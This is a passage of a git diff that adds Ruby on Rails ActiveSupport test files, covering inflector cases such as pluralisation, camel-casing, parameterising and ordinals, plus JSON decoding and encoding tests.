+      define_method("test_clear_inflections_with_#{scope.kind_of?(Array) ? "no_arguments" : scope}") do
+        # save all the inflections
+        singulars, plurals, uncountables = inflect.singulars, inflect.plurals, inflect.uncountables
+
+        # clear all the inflections
+        inflect.clear(*scope)
+
+        assert_equal [], inflect.singulars
+        assert_equal [], inflect.plurals
+        assert_equal [], inflect.uncountables
+
+        # restore all the inflections
+        singulars.reverse_each { |singular| inflect.singular(*singular) }
+        plurals.reverse_each   { |plural|   inflect.plural(*plural) }
+        inflect.uncountable(uncountables)
+
+        assert_equal singulars, inflect.singulars
+        assert_equal plurals, inflect.plurals
+        assert_equal uncountables, inflect.uncountables
+      end
+    end
+  end
+
+  %w(plurals singulars uncountables humans acronyms).each do |scope|
+    define_method("test_clear_inflections_with_#{scope}") do
+      # clear the inflections
+      ActiveSupport::Inflector.inflections do |inflect|
+        inflect.clear(scope)
+        assert_equal [], inflect.send(scope)
+      end
+    end
+  end
+end
diff --git a/activesupport/test/inflector_test_cases.rb b/activesupport/test/inflector_test_cases.rb
new file mode 100644
index 0000000000..f1214671ce
--- /dev/null
+++ b/activesupport/test/inflector_test_cases.rb
@@ -0,0 +1,375 @@
+# frozen_string_literal: true
+
+module InflectorTestCases
+  SingularToPlural = {
+    "search"      => "searches",
+    "switch"      => "switches",
+    "fix"         => "fixes",
+    "box"         => "boxes",
+    "process"     => "processes",
+    "address"     => "addresses",
+    "case"        => "cases",
+    "stack"       => "stacks",
+    "wish"        => "wishes",
+    "fish"        => "fish",
+    "jeans"       => "jeans",
+    "funky jeans" => "funky jeans",
+    "my money"    => "my money",
+
+    "category"    => "categories",
+    "query"       => "queries",
+    "ability"     => "abilities",
+    "agency"      => "agencies",
+    "movie"       => "movies",
+
+    "archive"     => "archives",
+
+    "index"       => "indices",
+
+    "wife"        => "wives",
+    "safe"        => "saves",
+    "half"        => "halves",
+
+    "move"        => "moves",
+
+    "salesperson" => "salespeople",
+    "person"      => "people",
+
+    "spokesman"   => "spokesmen",
+    "man"         => "men",
+    "woman"       => "women",
+
+    "basis"       => "bases",
+    "diagnosis"   => "diagnoses",
+    "diagnosis_a" => "diagnosis_as",
+
+    "datum"       => "data",
+    "medium"      => "media",
+    "stadium"     => "stadia",
+    "analysis"    => "analyses",
+    "my_analysis" => "my_analyses",
+
+    "node_child"  => "node_children",
+    "child"       => "children",
+
+    "experience"  => "experiences",
+    "day"         => "days",
+
+    "comment"     => "comments",
+    "foobar"      => "foobars",
+    "newsletter"  => "newsletters",
+
+    "old_news"    => "old_news",
+    "news"        => "news",
+
+    "series"      => "series",
+    "miniseries"  => "miniseries",
+    "species"     => "species",
+
+    "quiz"        => "quizzes",
+
+    "perspective" => "perspectives",
+
+    "ox"          => "oxen",
+    "photo"       => "photos",
+    "buffalo"     => "buffaloes",
+    "tomato"      => "tomatoes",
+    "dwarf"       => "dwarves",
+    "elf"         => "elves",
+    "information" => "information",
+    "equipment"   => "equipment",
+    "bus"         => "buses",
+    "status"      => "statuses",
+    "status_code" => "status_codes",
+    "mouse"       => "mice",
+
+    "louse"       => "lice",
+    "house"       => "houses",
+    "octopus"     => "octopi",
+    "virus"       => "viri",
+    "alias"       => "aliases",
+    "portfolio"   => "portfolios",
+
+    "vertex"      => "vertices",
+    "matrix"      => "matrices",
+    "matrix_fu"   => "matrix_fus",
+
+    "axis"        => "axes",
+    "taxi"        => "taxis", # prevents regression
+    "testis"      => "testes",
+    "crisis"      => "crises",
+
+    "rice"        => "rice",
+    "shoe"        => "shoes",
+
+    "horse"       => "horses",
+    "prize"       => "prizes",
+    "edge"        => "edges",
+
+    "database"    => "databases",
+
+    # regression tests against improper inflection regexes
+    "|ice"        => "|ices",
+    "|ouse"       => "|ouses",
+    "slice"       => "slices",
+    "police"      => "police"
+  }
+
+  CamelToUnderscore = {
+    "Product"               => "product",
+    "SpecialGuest"          => "special_guest",
+    "ApplicationController" => "application_controller",
+    "Area51Controller"      => "area51_controller"
+  }
+
+  UnderscoreToLowerCamel = {
+    "product"                => "product",
+    "special_guest"          => "specialGuest",
+    "application_controller" => "applicationController",
+    "area51_controller"      => "area51Controller"
+  }
+
+  SymbolToLowerCamel = {
+    product: "product",
+    special_guest: "specialGuest",
+    application_controller: "applicationController",
+    area51_controller: "area51Controller"
+  }
+
+  CamelToUnderscoreWithoutReverse = {
+    "HTMLTidy"              => "html_tidy",
+    "HTMLTidyGenerator"     => "html_tidy_generator",
+    "FreeBSD"               => "free_bsd",
+    "HTML"                  => "html",
+    "ForceXMLController"    => "force_xml_controller",
+  }
+
+  CamelWithModuleToUnderscoreWithSlash = {
+    "Admin::Product" => "admin/product",
+    "Users::Commission::Department" => "users/commission/department",
+    "UsersSection::CommissionDepartment" => "users_section/commission_department",
+  }
+
+  ClassNameToForeignKeyWithUnderscore = {
+    "Person" => "person_id",
+    "MyApplication::Billing::Account" => "account_id"
+  }
+
+  ClassNameToForeignKeyWithoutUnderscore = {
+    "Person" => "personid",
+    "MyApplication::Billing::Account" => "accountid"
+  }
+
+  ClassNameToTableName = {
+    "PrimarySpokesman" => "primary_spokesmen",
+    "NodeChild"        => "node_children"
+  }
+
+  StringToParameterized = {
+    "Donald E. Knuth"                     => "donald-e-knuth",
+    "Random text with *(bad)* characters" => "random-text-with-bad-characters",
+    "Allow_Under_Scores"                  => "allow_under_scores",
+    "Trailing bad characters!@#"          => "trailing-bad-characters",
+    "!@#Leading bad characters"           => "leading-bad-characters",
+    "Squeeze   separators"                => "squeeze-separators",
+    "Test with + sign"                    => "test-with-sign",
+    "Test with malformed utf8 \251"       => "test-with-malformed-utf8"
+  }
+
+  StringToParameterizedPreserveCase = {
+    "Donald E. Knuth"                     => "Donald-E-Knuth",
+    "Random text with *(bad)* characters" => "Random-text-with-bad-characters",
+    "Allow_Under_Scores"                  => "Allow_Under_Scores",
+    "Trailing bad characters!@#"          => "Trailing-bad-characters",
+    "!@#Leading bad characters"           => "Leading-bad-characters",
+    "Squeeze   separators"                => "Squeeze-separators",
+    "Test with + sign"                    => "Test-with-sign",
+    "Test with malformed utf8 \xA9"       => "Test-with-malformed-utf8"
+  }
+
+  StringToParameterizeWithNoSeparator = {
+    "Donald E. Knuth"                     => "donaldeknuth",
+    "With-some-dashes"                    => "with-some-dashes",
+    "Random text with *(bad)* characters" => "randomtextwithbadcharacters",
+    "Trailing bad characters!@#"          => "trailingbadcharacters",
+    "!@#Leading bad characters"           => "leadingbadcharacters",
+    "Squeeze   separators"                => "squeezeseparators",
+    "Test with + sign"                    => "testwithsign",
+    "Test with malformed utf8 \251"       => "testwithmalformedutf8"
+  }
+
+  StringToParameterizePreserveCaseWithNoSeparator = {
+    "Donald E. Knuth"                     => "DonaldEKnuth",
+    "With-some-dashes"                    => "With-some-dashes",
+    "Random text with *(bad)* characters" => "Randomtextwithbadcharacters",
+    "Trailing bad characters!@#"          => "Trailingbadcharacters",
+    "!@#Leading bad characters"           => "Leadingbadcharacters",
+    "Squeeze   separators"                => "Squeezeseparators",
+    "Test with + sign"                    => "Testwithsign",
+    "Test with malformed utf8 \xA9"       => "Testwithmalformedutf8"
+  }
+
+  StringToParameterizeWithUnderscore = {
+    "Donald E. Knuth"                     => "donald_e_knuth",
+    "Random text with *(bad)* characters" => "random_text_with_bad_characters",
+    "With-some-dashes"                    => "with-some-dashes",
+    "Retain_underscore"                   => "retain_underscore",
+    "Trailing bad characters!@#"          => "trailing_bad_characters",
+    "!@#Leading bad characters"           => "leading_bad_characters",
+    "Squeeze   separators"                => "squeeze_separators",
+    "Test with + sign"                    => "test_with_sign",
+    "Test with malformed utf8 \251"       => "test_with_malformed_utf8"
+  }
+
+  StringToParameterizePreserceCaseWithUnderscore = {
+    "Donald E. Knuth"                     => "Donald_E_Knuth",
+    "Random text with *(bad)* characters" => "Random_text_with_bad_characters",
+    "With-some-dashes"                    => "With-some-dashes",
+    "Allow_Under_Scores"                  => "Allow_Under_Scores",
+    "Trailing bad characters!@#"          => "Trailing_bad_characters",
+    "!@#Leading bad characters"           => "Leading_bad_characters",
+    "Squeeze   separators"                => "Squeeze_separators",
+    "Test with + sign"                    => "Test_with_sign",
+    "Test with malformed utf8 \xA9"       => "Test_with_malformed_utf8"
+  }
+
+  StringToParameterizedAndNormalized = {
+    "Malmö"                               => "malmo",
+    "Garçons"                             => "garcons",
+    "Ops\331"                             => "opsu",
+    "Ærøskøbing"                          => "aeroskobing",
+    "Aßlar"                               => "asslar",
+    "Japanese: 日本語" => "japanese"
+  }
+
+  UnderscoreToHuman = {
+    "employee_salary" => "Employee salary",
+    "employee_id"     => "Employee",
+    "underground"     => "Underground",
+    "_id"             => "Id",
+    "_external_id"    => "External"
+  }
+
+  UnderscoreToHumanWithKeepIdSuffix = {
+    "this_is_a_string_ending_with_id" => "This is a string ending with id",
+    "employee_id"                => "Employee id",
+    "employee_id_something_else" => "Employee id something else",
+    "underground"               => "Underground",
+    "_id"                       => "Id",
+    "_external_id"              => "External id"
+  }
+
+  UnderscoreToHumanWithoutCapitalize = {
+    "employee_salary" => "employee salary",
+    "employee_id"     => "employee",
+    "underground"     => "underground"
+  }
+
+  MixtureToTitleCaseWithKeepIdSuffix = {
+    "this_is_a_string_ending_with_id" => "This Is A String Ending With Id",
+    "EmployeeId"                      => "Employee Id",
+    "Author Id"                       => "Author Id"
+  }
+
+  MixtureToTitleCase = {
+    "active_record"         => "Active Record",
+    "ActiveRecord"          => "Active Record",
+    "action web service"    => "Action Web Service",
+    "Action Web Service"    => "Action Web Service",
+    "Action web service"    => "Action Web Service",
+    "actionwebservice"      => "Actionwebservice",
+    "Actionwebservice"      => "Actionwebservice",
+    "david's code"          => "David's Code",
+    "David's code"          => "David's Code",
+    "david's Code"          => "David's Code",
+    "sgt. pepper's"         => "Sgt. Pepper's",
+    "i've just seen a face" => "I've Just Seen A Face",
+    "maybe you'll be there" => "Maybe You'll Be There",
+    "¿por qué?"             => "¿Por Qué?",
+    "Fred’s"                => "Fred’s",
+    "Fred`s"                => "Fred`s",
+    "this was 'fake news'"  => "This Was 'Fake News'",
+    ActiveSupport::SafeBuffer.new("confirmation num") => "Confirmation Num"
+  }
+
+  OrdinalNumbers = {
+    "-1" => "-1st",
+    "-2" => "-2nd",
+    "-3" => "-3rd",
+    "-4" => "-4th",
+    "-5" => "-5th",
+    "-6" => "-6th",
+    "-7" => "-7th",
+    "-8" => "-8th",
+    "-9" => "-9th",
+    "-10" => "-10th",
+    "-11" => "-11th",
+    "-12" => "-12th",
+    "-13" => "-13th",
+    "-14" => "-14th",
+    "-20" => "-20th",
+    "-21" => "-21st",
+    "-22" => "-22nd",
+    "-23" => "-23rd",
+    "-24" => "-24th",
+    "-100" => "-100th",
+    "-101" => "-101st",
+    "-102" => "-102nd",
+    "-103" => "-103rd",
+    "-104" => "-104th",
+    "-110" => "-110th",
+    "-111" => "-111th",
+    "-112" => "-112th",
+    "-113" => "-113th",
+    "-1000" => "-1000th",
+    "-1001" => "-1001st",
+    "0" => "0th",
+    "1" => "1st",
+    "2" => "2nd",
+    "3" => "3rd",
+    "4" => "4th",
+    "5" => "5th",
+    "6" => "6th",
+    "7" => "7th",
+    "8" => "8th",
+    "9" => "9th",
+    "10" => "10th",
+    "11" => "11th",
+    "12" => "12th",
+    "13" => "13th",
+    "14" => "14th",
+    "20" => "20th",
+    "21" => "21st",
+    "22" => "22nd",
+    "23" => "23rd",
+    "24" => "24th",
+    "100" => "100th",
+    "101" => "101st",
+    "102" => "102nd",
+    "103" => "103rd",
+    "104" => "104th",
+    "110" => "110th",
+    "111" => "111th",
+    "112" => "112th",
+    "113" => "113th",
+    "1000" => "1000th",
+    "1001" => "1001st"
+  }
+
+  UnderscoresToDashes = {
+    "street"                => "street",
+    "street_address"        => "street-address",
+    "person_street_address" => "person-street-address"
+  }
+
+  Irregularities = {
+    "person" => "people",
+    "man"    => "men",
+    "child"  => "children",
+    "sex"    => "sexes",
+    "move"   => "moves",
+    "cow"    => "kine", # Test inflections with different starting letters
+    "zombie" => "zombies",
+    "genus"  => "genera"
+  }
+end
diff --git a/activesupport/test/json/decoding_test.rb b/activesupport/test/json/decoding_test.rb
new file mode 100644
index 0000000000..8d9587f248
--- /dev/null
+++ b/activesupport/test/json/decoding_test.rb
@@ -0,0 +1,124 @@
+# frozen_string_literal: true
+
+require "abstract_unit"
+require "active_support/json"
+require "active_support/time"
+require "time_zone_test_helpers"
+
+class TestJSONDecoding < ActiveSupport::TestCase
+  include TimeZoneTestHelpers
+
+  class Foo
+    def self.json_create(object)
+      "Foo"
+    end
+  end
+
+  TESTS = {
+    %q({"returnTo":{"\/categories":"\/"}})        => { "returnTo" => { "/categories" => "/" } },
+    %q({"return\\"To\\":":{"\/categories":"\/"}}) => { "return\"To\":" => { "/categories" => "/" } },
+    %q({"returnTo":{"\/categories":1}}) => { "returnTo" => { "/categories" => 1 } },
+    %({"returnTo":[1,"a"]})                    => { "returnTo" => [1, "a"] },
+    %({"returnTo":[1,"\\"a\\",", "b"]})        => { "returnTo" => [1, "\"a\",", "b"] },
+    %({"a": "'", "b": "5,000"})                  => { "a" => "'", "b" => "5,000" },
+    %({"a": "a's, b's and c's", "b": "5,000"})   => { "a" => "a's, b's and c's", "b" => "5,000" },
+    # multibyte
+    %({"matzue": "松江", "asakusa": "浅草"}) => { "matzue" => "松江", "asakusa" => "浅草" },
+    %({"a": "2007-01-01"})                       => { "a" => Date.new(2007, 1, 1) },
+    %({"a": "2007-01-01 01:12:34 Z"})            => { "a" => Time.utc(2007, 1, 1, 1, 12, 34) },
+    %(["2007-01-01 01:12:34 Z"])                 => [Time.utc(2007, 1, 1, 1, 12, 34)],
+    %(["2007-01-01 01:12:34 Z", "2007-01-01 01:12:35 Z"]) => [Time.utc(2007, 1, 1, 1, 12, 34), Time.utc(2007, 1, 1, 1, 12, 35)],
+    # no time zone
+    %({"a": "2007-01-01 01:12:34"})              => { "a" => Time.new(2007, 1, 1, 1, 12, 34, "-05:00") },
+    # invalid date
+    %({"a": "1089-10-40"})                       => { "a" => "1089-10-40" },
+    # xmlschema date notation
+    %({"a": "2009-08-10T19:01:02"})              => { "a" => Time.new(2009, 8, 10, 19, 1, 2, "-04:00") },
+    %({"a": "2009-08-10T19:01:02Z"})             => { "a" => Time.utc(2009, 8, 10, 19, 1, 2) },
+    %({"a": "2009-08-10T19:01:02+02:00"})        => { "a" => Time.utc(2009, 8, 10, 17, 1, 2) },
+    %({"a": "2009-08-10T19:01:02-05:00"})        => { "a" => Time.utc(2009, 8, 11, 00, 1, 2) },
+    # needs to be *exact*
+    %({"a": " 2007-01-01 01:12:34 Z "})          => { "a" => " 2007-01-01 01:12:34 Z " },
+    %({"a": "2007-01-01 : it's your birthday"})  => { "a" => "2007-01-01 : it's your birthday" },
+    %([])    => [],
+    %({})    => {},
+    %({"a":1}) => { "a" => 1 },
+    %({"a": ""}) => { "a" => "" },
+    %({"a":"\\""}) => { "a" => "\"" },
+    %({"a": null})  => { "a" => nil },
+    %({"a": true})  => { "a" => true },
+    %({"a": false}) => { "a" => false },
+    '{"bad":"\\\\","trailing":""}' => { "bad" => "\\", "trailing" => "" },
+    %q({"a": "http:\/\/test.host\/posts\/1"}) => { "a" => "http://test.host/posts/1" },
+    %q({"a": "\u003cunicode\u0020escape\u003e"}) => { "a" => "<unicode escape>" },
+    '{"a": "\\\\u0020skip double backslashes"}' => { "a" => "\\u0020skip double backslashes" },
+    %q({"a": "\u003cbr /\u003e"}) => { "a" => "<br />" },
+    %q({"b":["\u003ci\u003e","\u003cb\u003e","\u003cu\u003e"]}) => { "b" => ["<i>", "<b>", "<u>"] },
+    # test combination of dates and escaped or unicode encoded data in arrays
+    %q([{"d":"1970-01-01", "s":"\u0020escape"},{"d":"1970-01-01", "s":"\u0020escape"}]) =>
+      [{ "d" => Date.new(1970, 1, 1), "s" => " escape" }, { "d" => Date.new(1970, 1, 1), "s" => " escape" }],
+    %q([{"d":"1970-01-01","s":"http:\/\/example.com"},{"d":"1970-01-01","s":"http:\/\/example.com"}]) =>
+      [{ "d" => Date.new(1970, 1, 1), "s" => "http://example.com" },
+       { "d" => Date.new(1970, 1, 1), "s" => "http://example.com" }],
+    # tests escaping of "\n" char with Yaml backend
+    %q({"a":"\n"}) => { "a" => "\n" },
+    %q({"a":"\u000a"}) => { "a" => "\n" },
+    %q({"a":"Line1\u000aLine2"}) => { "a" => "Line1\nLine2" },
+    # prevent json unmarshalling
+    '{"json_class":"TestJSONDecoding::Foo"}' => { "json_class" => "TestJSONDecoding::Foo" },
+    # json "fragments" - these are invalid JSON, but ActionPack relies on this
+    '"a string"' => "a string",
+    "1.1" => 1.1,
+    "1" => 1,
+    "-1" => -1,
+    "true" => true,
+    "false" => false,
+    "null" => nil
+  }
+
+  TESTS.each_with_index do |(json, expected), index|
+    fail_message = "JSON decoding failed for #{json}"
+
+    test "json decodes #{index}" do
+      with_tz_default "Eastern Time (US & Canada)" do
+        with_parse_json_times(true) do
+          silence_warnings do
+            if expected.nil?
+              assert_nil ActiveSupport::JSON.decode(json), fail_message
+            else
+              assert_equal expected, ActiveSupport::JSON.decode(json), fail_message
+            end
+          end
+        end
+      end
+    end
+  end
+
+  test "json decodes time json with time parsing disabled" do
+    with_parse_json_times(false) do
+      expected = { "a" => "2007-01-01 01:12:34 Z" }
+      assert_equal expected, ActiveSupport::JSON.decode(%({"a": "2007-01-01 01:12:34 Z"}))
+    end
+  end
+
+  def test_failed_json_decoding
+    assert_raise(ActiveSupport::JSON.parse_error) { ActiveSupport::JSON.decode(%(undefined)) }
+    assert_raise(ActiveSupport::JSON.parse_error) { ActiveSupport::JSON.decode(%({a: 1})) }
+    assert_raise(ActiveSupport::JSON.parse_error) { ActiveSupport::JSON.decode(%({: 1})) }
+    assert_raise(ActiveSupport::JSON.parse_error) { ActiveSupport::JSON.decode(%()) }
+  end
+
+  def test_cannot_pass_unsupported_options
+    assert_raise(ArgumentError) { ActiveSupport::JSON.decode("", create_additions: true) }
+  end
+
+  private
+
+    def with_parse_json_times(value)
+      old_value = ActiveSupport.parse_json_times
+      ActiveSupport.parse_json_times = value
+      yield
+    ensure
+      ActiveSupport.parse_json_times = old_value
+    end
+end
diff --git a/activesupport/test/json/encoding_test.rb b/activesupport/test/json/encoding_test.rb
new file mode 100644
index 0000000000..80d03ec9d6
--- /dev/null
+++ b/activesupport/test/json/encoding_test.rb
@@ -0,0 +1,477 @@
+# frozen_string_literal: true
+
+require "securerandom"
+require "abstract_unit"
+require "active_support/core_ext/string/inflections"
+require "active_support/core_ext/regexp"
+require "active_support/json"
+require "active_support/time"
+require "time_zone_test_helpers"
+require "json/encoding_test_cases"
+
+class TestJSONEncoding < ActiveSupport::TestCase
+  include TimeZoneTestHelpers
+
+  def sorted_json(json)
+    if json.start_with?("{") && json.end_with?("}")
+      "{" + json[1..-2].split(",").sort.join(",") + "}"
+    else
+      json
+    end
+  end
+
+  JSONTest::EncodingTestCases.constants.each do |class_tests|
+    define_method("test_#{class_tests[0..-6].underscore}") do
+      begin
+        prev = ActiveSupport.use_standard_json_time_format
+
+        standard_class_tests = /Standard/.match?(class_tests)
+
+        ActiveSupport.escape_html_entities_in_json  = !standard_class_tests
+        ActiveSupport.use_standard_json_time_format = standard_class_tests
+        JSONTest::EncodingTestCases.const_get(class_tests).each do |pair|
+          assert_equal pair.last, sorted_json(ActiveSupport::JSON.encode(pair.first))
+        end
+      ensure
+        ActiveSupport.escape_html_entities_in_json  = false
+        ActiveSupport.use_standard_json_time_format = prev
+      end
+    end
+  end
+
+  def test_process_status
+    rubinius_skip "https://github.com/rubinius/rubinius/issues/3334"
+
+    # There doesn't seem to be a good way to get a handle on a Process::Status object without actually
+    # creating a child process, hence this to populate $?
+    system("not_a_real_program_#{SecureRandom.hex}")
+    assert_equal %({"exitstatus":#{$?.exitstatus},"pid":#{$?.pid}}), ActiveSupport::JSON.encode($?)
+  end
+
+  def test_hash_encoding
+    assert_equal %({\"a\":\"b\"}), ActiveSupport::JSON.encode(a: :b)
+    assert_equal %({\"a\":1}), ActiveSupport::JSON.encode("a" => 1)
+    assert_equal %({\"a\":[1,2]}), ActiveSupport::JSON.encode("a" => [1, 2])
+    assert_equal %({"1":2}), ActiveSupport::JSON.encode(1 => 2)
+
+    assert_equal %({\"a\":\"b\",\"c\":\"d\"}), sorted_json(ActiveSupport::JSON.encode(a: :b, c: :d))
+  end
+
+  def test_hash_keys_encoding
+    ActiveSupport.escape_html_entities_in_json = true
+    assert_equal "{\"\\u003c\\u003e\":\"\\u003c\\u003e\"}", ActiveSupport::JSON.encode("<>" => "<>")
+  ensure
+    ActiveSupport.escape_html_entities_in_json = false
+  end
+
+  def test_utf8_string_encoded_properly
+    result = ActiveSupport::JSON.encode("€2.99")
+    assert_equal '"€2.99"', result
+    assert_equal(Encoding::UTF_8, result.encoding)
+
+    result = ActiveSupport::JSON.encode("✎☺")
+    assert_equal '"✎☺"', result
+    assert_equal(Encoding::UTF_8, result.encoding)
+  end
+
+  def test_non_utf8_string_transcodes
+    s = "二".encode("Shift_JIS")
+    result = ActiveSupport::JSON.encode(s)
+    assert_equal '"二"', result
+    assert_equal Encoding::UTF_8, result.encoding
+  end
+
+  def test_wide_utf8_chars
+    w = "𠜎"
+    result = ActiveSupport::JSON.encode(w)
+    assert_equal '"𠜎"', result
+  end
+
+  def test_wide_utf8_roundtrip
+    hash = { string: "𐒑" }
+    json = ActiveSupport::JSON.encode(hash)
+    decoded_hash = ActiveSupport::JSON.decode(json)
+    assert_equal "𐒑", decoded_hash["string"]
+  end
+
+  def test_hash_key_identifiers_are_always_quoted
+    values = { 0 => 0, 1 => 1, :_ => :_, "$" => "$", "a" => "a", :A => :A, :A0 => :A0, "A0B" => "A0B" }
+    assert_equal %w( "$" "A" "A0" "A0B" "_" "a" "0" "1" ).sort, object_keys(ActiveSupport::JSON.encode(values))
+  end
+
+  def test_hash_should_allow_key_filtering_with_only
+    assert_equal %({"a":1}), ActiveSupport::JSON.encode({ "a" => 1, :b => 2, :c => 3 }, only: "a")
+  end
+
+  def test_hash_should_allow_key_filtering_with_except
+    assert_equal %({"b":2}), ActiveSupport::JSON.encode({ "foo" => "bar", :b => 2, :c => 3 }, except: ["foo", :c])
+  end
+
+  def test_time_to_json_includes_local_offset
+    with_standard_json_time_format(true) do
+      with_env_tz "US/Eastern" do
+        assert_equal %("2005-02-01T15:15:10.000-05:00"), ActiveSupport::JSON.encode(Time.local(2005, 2, 1, 15, 15, 10))
+      end
+    end
+  end
+
+  def test_hash_with_time_to_json
+    with_standard_json_time_format(false) do
+      assert_equal '{"time":"2009/01/01 00:00:00 +0000"}', { time: Time.utc(2009) }.to_json
+    end
+  end
+
+  def test_nested_hash_with_float
+    assert_nothing_raised do
+      hash = {
+        "CHI" => {
+          display_name: "chicago",
+          latitude: 123.234
+        }
+      }
+      ActiveSupport::JSON.encode(hash)
+    end
+  end
+
+  def test_hash_like_with_options
+    h = JSONTest::Hashlike.new
+    json = h.to_json only: [:foo]
+
+    assert_equal({ "foo" => "hello" }, JSON.parse(json))
+  end
+
+  def test_object_to_json_with_options
+    obj = Object.new
+    obj.instance_variable_set :@foo, "hello"
+    obj.instance_variable_set :@bar, "world"
+    json = obj.to_json only: ["foo"]
+
+    assert_equal({ "foo" => "hello" }, JSON.parse(json))
+  end
+
+  def test_struct_to_json_with_options
+    struct = Struct.new(:foo, :bar).new
+    struct.foo = "hello"
+    struct.bar = "world"
+    json = struct.to_json only: [:foo]
+
+    assert_equal({ "foo" => "hello" }, JSON.parse(json))
+  end
+
+  def test_hash_should_pass_encoding_options_to_children_in_as_json
+    person = {
+      name: "John",
+      address: {
+        city: "London",
+        country: "UK"
+      }
+    }
+    json = person.as_json only: [:address, :city]
+
+    assert_equal({ "address" => { "city" => "London" } }, json)
+  end
+
+  def test_hash_should_pass_encoding_options_to_children_in_to_json
+    person = {
+      name: "John",
+      address: {
+        city: "London",
+        country: "UK"
+      }
+    }
+    json = person.to_json only: [:address, :city]
+
+    assert_equal(%({"address":{"city":"London"}}), json)
+  end
+
+  def test_array_should_pass_encoding_options_to_children_in_as_json
+    people = [
+      { name: "John", address: { city: "London", country: "UK" } },
+      { name: "Jean", address: { city: "Paris" , country: "France" } }
+    ]
+    json = people.as_json only: [:address, :city]
+    expected = [
+      { "address" => { "city" => "London" } },
+      { "address" => { "city" => "Paris" } }
+    ]
+
+    assert_equal(expected, json)
+  end
+
+  def test_array_should_pass_encoding_options_to_children_in_to_json
+    people = [
+      { name: "John", address: { city: "London", country: "UK" } },
+      { name: "Jean", address: { city: "Paris" , country: "France" } }
+    ]
+    json = people.to_json only: [:address, :city]
+
+    assert_equal(%([{"address":{"city":"London"}},{"address":{"city":"Paris"}}]), json)
+  end
+
+  People = Class.new(BasicObject) do
+    include Enumerable
+    def initialize()
+      @people = [
+        { name: "John", address: { city: "London", country: "UK" } },
+        { name: "Jean", address: { city: "Paris" , country: "France" } }
+      ]
+    end
+    def each(*, &blk)
+      @people.each do |p|
+        yield p if blk
+        p
+      end.each
+    end
+  end
+
+  def test_enumerable_should_generate_json_with_as_json
+    json = People.new.as_json only: [:address, :city]
+    expected = [
+      { "address" => { "city" => "London" } },
+      { "address" => { "city" => "Paris" } }
+    ]
+
+    assert_equal(expected, json)
+  end
+
+  def test_enumerable_should_generate_json_with_to_json
+    json = People.new.to_json only: [:address, :city]
+    assert_equal(%([{"address":{"city":"London"}},{"address":{"city":"Paris"}}]), json)
+  end
+
+  def test_enumerable_should_pass_encoding_options_to_children_in_as_json
+    json = People.new.each.as_json only: [:address, :city]
+    expected = [
+      { "address" => { "city" => "London" } },
+      { "address" => { "city" => "Paris" } }
+    ]
+
+    assert_equal(expected, json)
+  end
+
+  def test_enumerable_should_pass_encoding_options_to_children_in_to_json
+    json = People.new.each.to_json only: [:address, :city]
+
+    assert_equal(%([{"address":{"city":"London"}},{"address":{"city":"Paris"}}]), json)
+  end
+
+  class CustomWithOptions
+    attr_accessor :foo, :bar
+
+    def as_json(options = {})
+      options[:only] = %w(foo bar)
+      super(options)
+    end
+  end
+
+  def test_hash_to_json_should_not_keep_options_around
+    f = CustomWithOptions.new
+    f.foo = "hello"
+    f.bar = "world"
+
+    hash = { "foo" => f, "other_hash" => { "foo" => "other_foo", "test" => "other_test" } }
+    assert_equal({ "foo" => { "foo" => "hello", "bar" => "world" },
+                  "other_hash" => { "foo" => "other_foo", "test" => "other_test" } }, ActiveSupport::JSON.decode(hash.to_json))
+  end
+
+  def test_array_to_json_should_not_keep_options_around
+    f = CustomWithOptions.new
+    f.foo = "hello"
+    f.bar = "world"
+
+    array = [f, { "foo" => "other_foo", "test" => "other_test" }]
+    assert_equal([{ "foo" => "hello", "bar" => "world" },
+                  { "foo" => "other_foo", "test" => "other_test" }], ActiveSupport::JSON.decode(array.to_json))
+  end
+
+  class OptionsTest
+    def as_json(options = :default)
+      options
+    end
+  end
+
+  def test_hash_as_json_without_options
+    json = { foo: OptionsTest.new }.as_json
+    assert_equal({ "foo" => :default }, json)
+  end
+
+  def test_array_as_json_without_options
+    json = [ OptionsTest.new ].as_json
+    assert_equal([:default], json)
+  end
+
+  def test_struct_encoding
+    Struct.new("UserNameAndEmail", :name, :email)
+    Struct.new("UserNameAndDate", :name, :date)
+    Struct.new("Custom", :name, :sub)
+    user_email = Struct::UserNameAndEmail.new "David", "sample@example.com"
+    user_birthday = Struct::UserNameAndDate.new "David", Date.new(2010, 01, 01)
+    custom = Struct::Custom.new "David", user_birthday
+
+    json_strings = ""
+    json_string_and_date = ""
+    json_custom = ""
+
+    assert_nothing_raised do
+      json_strings = user_email.to_json
+      json_string_and_date = user_birthday.to_json
+      json_custom = custom.to_json
+    end
+
+    assert_equal({ "name" => "David",
+                  "sub" => {
+                    "name" => "David",
+                    "date" => "2010-01-01" } }, ActiveSupport::JSON.decode(json_custom))
+
+    assert_equal({ "name" => "David", "email" => "sample@example.com" },
+                 ActiveSupport::JSON.decode(json_strings))
+
+    assert_equal({ "name" => "David", "date" => "2010-01-01" },
+                 ActiveSupport::JSON.decode(json_string_and_date))
+  end
+
+  def test_nil_true_and_false_represented_as_themselves
+    assert_nil nil.as_json
+    assert_equal true,  true.as_json
+    assert_equal false, false.as_json
+  end
+
+  class HashWithAsJson < Hash
+    attr_accessor :as_json_called
+
+    def initialize(*)
+      super
+    end
+
+    def as_json(options = {})
+      @as_json_called = true
+      super
+    end
+  end
+
+  def test_json_gem_dump_by_passing_active_support_encoder
+    h = HashWithAsJson.new
+    h[:foo] = "hello"
+    h[:bar] = "world"
+
+    assert_equal %({"foo":"hello","bar":"world"}), JSON.dump(h)
+    assert_nil h.as_json_called
+  end
+
+  def test_json_gem_generate_by_passing_active_support_encoder
+    h = HashWithAsJson.new
+    h[:foo] = "hello"
+    h[:bar] = "world"
+
+    assert_equal %({"foo":"hello","bar":"world"}), JSON.generate(h)
+    assert_nil h.as_json_called
+  end
+
+  def test_json_gem_pretty_generate_by_passing_active_support_encoder
+    h = HashWithAsJson.new
+    h[:foo] = "hello"
+    h[:bar] = "world"
+
+    assert_equal <<EXPECTED.chomp, JSON.pretty_generate(h)
+{
+  "foo": "hello",
+  "bar": "world"
+}
+EXPECTED
+    assert_nil h.as_json_called
+  end
+
+  def test_twz_to_json_with_use_standard_json_time_format_config_set_to_false
+    with_standard_json_time_format(false) do
+      zone = ActiveSupport::TimeZone["Eastern Time (US & Canada)"]
+      time = ActiveSupport::TimeWithZone.new(Time.utc(2000), zone)
+      assert_equal "\"1999/12/31 19:00:00 -0500\"", ActiveSupport::JSON.encode(time)
+    end
+  end
+
+  def test_twz_to_json_with_use_standard_json_time_format_config_set_to_true
+    with_standard_json_time_format(true) do
